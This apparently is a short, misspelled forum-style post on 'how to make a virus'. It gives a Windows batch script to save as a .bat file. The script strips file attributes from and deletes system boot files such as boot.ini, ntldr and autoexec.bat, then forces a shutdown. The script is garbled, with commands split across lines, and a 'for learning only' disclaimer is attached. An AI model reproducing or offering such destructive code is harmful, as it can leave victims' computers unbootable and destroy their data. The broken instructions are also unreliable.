how to make a vairus like

open notepad and type

@echo off
 msg * ??????????? ????? ?????? ??
 activated*  Virus
 Attrib-r-s-h
 c:\autoexec.bat del
 c:\autoexec.bat attrib-r-s-h
 c:boot.ini del c: boot.ini
 attrib-r-s-h
 c:\ntldr del c:\ntldr
 attrib-r-s-h
 c:\windows\win.ini del
 c:\windows\win.ini
 @echo off
 msg*computer
 over virus + very yes.*
 shutdown -s-t 10-v ""

save it as name.bat          
don't click it  double in computer
do it your own risk
it is only for learning